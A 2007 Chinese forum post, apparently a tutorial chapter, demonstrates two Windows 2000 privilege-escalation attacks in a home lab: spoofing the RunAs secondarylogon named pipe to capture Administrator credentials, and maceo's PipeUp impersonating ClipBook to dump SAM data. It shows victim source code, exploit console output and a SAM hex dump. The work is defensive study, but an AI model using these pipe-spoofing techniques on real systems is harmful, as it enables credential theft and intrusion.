QPhome# 青浦之家论坛

QQ登录

只需一步，快速开始

uynetwork

2122

积分

13

好友

374

主题

在W2K中提升权限的几个攻击实例之成败心得

1楼
发表于 2007-4-20 14:11:06 | 查看: 1785| 回复: 0
讲到Exploit都会涉及到提升权限的问题，所谓提升权限就是利用系统的漏洞来获得更高的Privilege。比如说，你用一般用户的账号登录Windows NT/Windows 2000后，你就只能作有限的操作，却不能加减用户，不能往系统目录中存写文件等等；但等到你通过系统的漏洞获得了Administrator或者Local System的权限以后，你也就可以作这些事了。

    我研究Exploit的时间并不是很长，但看到有关在Windows操作系统中提升权限的方法与实例还真不少。刚才到Google上用关键词“microsoft”、“Windows”、“privilege”、“elevation”去搜索一下，居然返回3000多个结果。要知道，这还只是公布出来的部分，江湖中还有很多必杀绝技是不轻易示人的。

    要想在这里详细地介绍所有Windows中提升权限的方法，我的功力是远远不够的----估计相当于丐帮一袋弟子的水平而已。所以呢，这一章所针对的读者应该是丐帮的入门弟子，如果你们哪位功力要用两个以上的麻袋来装的话，请尽管跳过这一章。

    我在选择这一章的Exploit例子时，有意选择针对W2K操作系统、附带有源程序的例子，这样方便大家在自己的机器上试验。这些Exploit并不是每个都成功，但是我感觉它们有不少可借鉴之处，可以通过学习它们来了解黑客的思路，从而提高自己的反入侵能力。

    记住我的机器dallas是W2K Service Pack 1，如果你们的计算机运行不同版本的W2K Service Pack，这些Exploit可能需要改动。

    顺便说一句，实际上在第一章里面我们已经提到一种在Unix或者Linux中提升权限的方法，就是去Exploit超级用户Root所有的、具有SUID位的执行程序。在Windows操作系统中，没有SUID这种说法，但是有一种RunAs服务(Service)进程可以提供类似于SUID的功能，而且是有可能被Exploit的。

    利用Windows 2000中的Named Pipe来提升权限


    Windows 2000中的RunAs服务进程可以让用户甲以用户乙的权限运行程序，这类似于Unix和Linux系统中SUID位功能。W2K中的一个API：CreateProcessWithLogonW就利用了RunAs服务进程，用户甲调用这个CreateProcessWithLogonW时把用户乙的账号(Account)、域(Domain)、密码(Password)提交给Windows操作系统作Authentication，如果Authentication成功，那么就接着运行指定的程序，而且这个程序运行时具有用户乙的权限。

CreateProcessWithLogonW API的定义如下：
BOOL CreateProcessWithLogonW(
LPCWSTR , // 用户乙的账号(Account)
LPCWSTR , //用户乙的域(Domain)
LPCWSTR , // 用户乙的密码(Password)
DWORD , // logon option
LPCWSTR , // executable module name
LPWSTR , // command-line string
DWORD , // creation flags
LPVOID , // new environment block
LPCWSTR , // current directory name
LPSTARTUPINFOW , // startup information
LPPROCESS_INFORMATION // process information
);

    那么CreateProcessWithLogonW是如何把用户乙的账号信息传给RunAs服务进程的呢？在Windows操作系统中有很多Interprocess Communication的方法，大概最常见的就是 Pipe了。我们在上一章对IIS的Exploit中也用到了Pipe，不过那是没有名字的pipe (Anonymous Pipe)；在这里CreateProcessWithLogonW是用有名字的Pipe(named Pipe)与RunAs联络的，这个named Pipe就是“\\.\pipe\secondarylogon”。

    到目前为止，一切都正常。大家要问：RunAs的漏洞在哪里呢？它的漏洞是如何被Exploit的呢？根据RADIX Team的解释：当用户甲用CreateProcessWithLogonW创建具有用户乙权限的进程时，它是不会核实“\\.\pipe\secondarylogon”的Server端究竟是连通到RunAs进程还是连通到其它的进程。如果RunAs服务进程在某一时刻停止运行的话，黑客进程可以趁机创建一个也叫“\\.\pipe\secondarylogon”的named Pipe，然后黑客进程就假装成RunAs服务进程在Pipe的Server端等着接受信息。接着我们无辜而无知的用户甲调用CreateProcessWithLogonW了，它也不先调查一下Named Pipe另一端的进程身份，就把用户乙的账号信息由伪造的named Pipe传了过去，传呀传，传呀传，一直传到黑客程序的耳朵里。

    RADIX Team还编写了一个Exploit程序radix1112200101，这个程序把通过Named Pipe “\\.\pipe\secondarylogon”传来的用户乙账号信息(包括用户名、域名、密码)统统显示出来。限于篇幅，我就不转载这个程序了，大家可以到他们的网站去看。不过这里我准备演示一下在dallas上如何使用radix1112200101来获得dallas本地域(Local Domain)的超级用户Administrstor的密码。被Exploit的程序(就是因为使用CreateProcessWithLogonW而泄密的家伙)叫radixvictim.cpp，它以超级用户Administrator的权限启动一个NotePad程序。


<==========================radixvictim.cpp===============================>

// radixvictim.cpp : Defines the entry point for the application.
//

#define _WIN32_WINNT 0x0500
#define UNICODE

#include
#include
#include
#include

int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow = SW_SHOW)
{      
// TOD Place code here.

LPCWSTR lpUsername = L"Administrator"; // user's name
LPCWSTR lpDomain = L"dallas"; // user's domain
LPCWSTR lpPassword = L"moda"; // user's password
DWORD dwLogonFlags = LOGON_NETCREDENTIALS_ONLY; // logon option
LPCWSTR lpApplicationName = L"D:\\Winnt\\NotePad.exe";
LPWSTR lpCommandLine = L"NotePad.exe"; // command-line string
DWORD dwCreationFlags = CREATE_NEW_CONSOLE; // creation flags
LPVOID lpEnvironment = NULL; // new environment block
LPCWSTR lpCurrentDirectory = NULL; // current directory name
STARTUPINFO StartupInfo; // startup information
PROCESS_INFORMATION ProcessInfo; // process information

BOOL ret;

ZeroMemory(&StartupInfo, sizeof(StartupInfo));
StartupInfo.cb = sizeof(StartupInfo);
ZeroMemory(&ProcessInfo, sizeof(ProcessInfo));

ret = CreateProcessWithLogonW(
lpUsername,
lpDomain,
lpPassword,
dwLogonFlags,
lpApplicationName,
lpCommandLine,
dwCreationFlags,
lpEnvironment,
lpCurrentDirectory,
&StartupInfo,
&ProcessInfo
);


if (! ret )
ExitProcess (GetLastError()) ;

return 0;
      }



<================================================================>

    在伪造Named Pipe之前，必须关闭RunAs的“\\.\pipe\secondarylogon”，要不然运行radix1112200101会得到Permission Denied之类的错误。

    我先以超级用户Administrator登录dallas，然后从Administrative Tools->Services中终止RunAs服务进程 (一般的情况下，只有超级用户Administrator才能终止RunAs服务进程)。这样RunAs拥有的“\\.\pipe\secondarylogon”就关闭(Close)了。

    再以我的一般用户账号moda登录dallas，接着运行radix1112200101伪造一个新的Named Pipe “\\.\pipe\secondarylogon”。


D:\MyJob\securitylab\radix\Debug>radix1112200101
Created pipe and waiting for clients...


怎么确定“\\.\pipe\secondarylogon”被成功地创建了呢？我们可以使用pipelist程序，这是我从sysinternals网站下载的宝贝之一，它能列出系统中所有的Named Pipe：

D:\MyJob\tool\pipelist\RELEASE>pipelist

PipeList v1.01
by Mark Russinovich
[url]http://www.sysinternals.com[/url]

Pipe Name Instances Max Instances
--------- --------- -------------
InitShutdown 2 -1
lsass 5 -1
ntsvcs 50 -1
scerpc 2 -1
net\NtControlPipe1 1 1
DhcpClient 1 -1
net\NtControlPipe2 1 1
Winsock2\CatalogChangeListener-194-0 1 1
net\NtControlPipe3 1 1
spoolss 2 -1
。。。。。。。
。。。。。。。
net\NtControlPipe21 1 1
tapsrv 2 -1
ROUTER 2 -1
WMIEP_2ac 2 -1
WMIEP_154 2 -1
SecondaryLogon 1 10

D:\MyJob\tool\pipelist\RELEASE>

    你们看到，最后一个Named Pipe就是radix1112200101刚刚伪造Secondarylogon。现在运行radixvictim。对於这个程序，用户甲就是无辜而无知的“moda”，而用户乙就是超级用户Administrator。请注意Exploit程序radix1112200101的输出：

D:\MyJob\securitylab\radix\Debug>radix1112200101
Created pipe and waiting for clients...
Read 4 bytes. (ASCII Dump)
>
? Read 318 bytes. (ASCII Dump)
□
? ? 8
X j □ □
? ? ? - + -
? A d m i n
i s t r a t o r
? d a l l a
s ? m o d a
* D
: \ W i n n t \
N o t e P a d .
e x e ? N o
t e P a d . e x
e l
D H l



W i n S
t a 0 \ D e f a
u l t _
D:\MyJob\securitylab\radix\Debug>

    你们可以看到，超级用户Administrator的信息(包括密码)全部都被radix1112200101接收到了。得到Administrator的账号信息后，再提升权限就易如反掌了！这个Exploit的关键在于：第一，Named Pipe的名字是广为人知的，黑客的Named Pipe也可以贴上同样的名字“\\.\pipe\secondarylogon”去冒充；第二，CreateProcessWithLogonW在使用Named Pipe之前并没有核实Named Pipe的Server端进程，它不管Server端是连通到RunAs进程还是到其它的进程。类似的这样问题是在Windows操作系统中是广泛存在的，再看下面的例子：

    我是在网站http：//www.dogmile.com上看到的这个例子的，作者为maceo。根据maceo的研究，Windows 2000操作系统广泛使用了Named Pipe来控制(或者说管理)服务进程，包括象Clipbook服务进程呀、Telnetd服务进程呀等等，而且这些Named Pipe的名字是可以猜得到的。如果黑客抢先用猜到的名字创建Named Pipe的话，服务进程启动时会直接连接到黑客的Named Pipe上，於是黑客程序就可以通过ImpersonateNamedPipeClient()取得服务进程的权限(缺省设置为Local System权限)。那么，黑客是怎样猜到这些Named Pipe的名字的呢？很简单，他是从Registry中查询到的，在下面的地址：

HKEY_LOCAL_MACHINE\
SYSTEM\
CurrentControlSet\
Control\
ServiceCurrent

    如果ServiceCurrent的双字值(DWORD Value)是X，那么服务进程所用到的Named Pipe的名字就是“\\.\pipe\net\NtControlPipe(X+1)”，这也就是黑客要伪造的Named Pipe的名字。

    maceo给出了几个Exploit程序，我下面就在Dallas上演示其中的一个----PipeUp。这个Exploit程序首先从Registry中取得下一个服务进程要使用的Named Pipe名字，然后抢先创建这个Named Pipe；紧接着它启动服务进程ClipBook，由于ClipBook启动后会主动连接这个伪造的Named Pipe，於是PipeUp就通过函数ImpersonateNamedPipeClient而获取了Local System的账号权限(因为ClipBook一般以Local System的账号运行)。这样进程PipeUp就有足够的权限把Local System在Security Account Manager(SAM)中的信息读出来。

    你们可以从网站http：//www.dogmile.com下载这个Exploit的源程序，这里限于篇幅我就不转载这个程序了(画外音：其实是限于版权)。先以Administrator的账号登录dallas，把ClipBook服务进程停止。再以一般用户moda登录，运行Exploit程序PipeUp，下面是PipeUp运行及Exploit的结果：

D:\MyJob\securitylab\PipeUp\Debug>pipeup
The ClipBook service is not started.

More help is available by typing NET HELPMSG 3521.

Impersonating: SYSTEM
Dumping SAM for RID 500 ...

F:0x020001000000000010f3e3f89b33c2010000000000000000f0a09fa11061c101ffffffffffff
ff7fb0c25115f430c201f401000001020000100200000000000000002a010100000000000d000a00
0000

V:0x00000000a800000002000100a80000001a00000000000000c40000000000000000000000c400
00006c00000000000000300100000000000000000000300100000000000000000000300100000000
00000000000030010000000000000000000030010000000000000000000030010000000000000000
00003001000000000000000000003001000000000000000000003001000008000000010000003801
000014000000000000004c0100001400000000000000600100000400000000000000640100000400
000000000000010014808800000098000000140000003000000002001c000100000002c014004400
05010101000000000001000000000200580003000000000014005b03020001010000000000010000
000000001800ff070f00010200000000000520000000200200000000240044000200010500000000
000515000000dde8e41c32621f2a8aa7323ff4010000010200000000000520000000200200000102
0000000000052000000020020000410064006d0069006e006900730074007200610074006f007200
00004200750069006c0074002d0069006e0020006100630063006f0075006e007400200066006f00
72002000610064006d0069006e006900730074006500720069006e00670020007400680065002000
63006f006d00700075007400650072002f0064006f006d00610069006e0001020000070000000100
01001913f29278bf71eaff44492fb2f9ed05010001002a730d35666e44ffa4f37b29011d882f0100
010001000100

D:\MyJob\securitylab\PipeUp\Debug>


    大家看了上面两个例子有什么想法呢？肯定有人会觉得这些Exploit有“做弊”的嫌疑：一方面，在radix1112200101(或PipeUp)运行之前，RunAs(或ClipBook)服务进程都必须先终止运行，这样黑客进程才有可能伪造Named Pipe，才有机会窃取Administrator(或Local System)的账号信息；而另一方面，黑客必须先取得至少Administrator的权限才能终止RunAs(或ClipBook)进程。这两个方面看起来是互为前提条件的，是个无解的“Deadlock”。实际上，我在SecurityFocus网站上看到Microsoft针对Exploit程序radix1112200101的回复，它指出这个Exploit是两难的，现实中不太可能发生。

    要实现这个Exploit确实有些难度，但是这并不等于不会发生！假如某个服务进程有Bugs，象缓冲区溢出呀、Signal不当reentrant呀等等，那么在运行中这个服务进程就有可能被黑客故意整垮掉(Crash)，然后黑客就可以伪造它的Named Pipe，再利用上面的Exploit程序提升其权限。
分享到: QQ空间QQ空间 腾讯微博腾讯微博 腾讯朋友腾讯朋友
转发到微博

收藏回复 只看该作者 道具 举报

返回列表
高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 注册

回顶部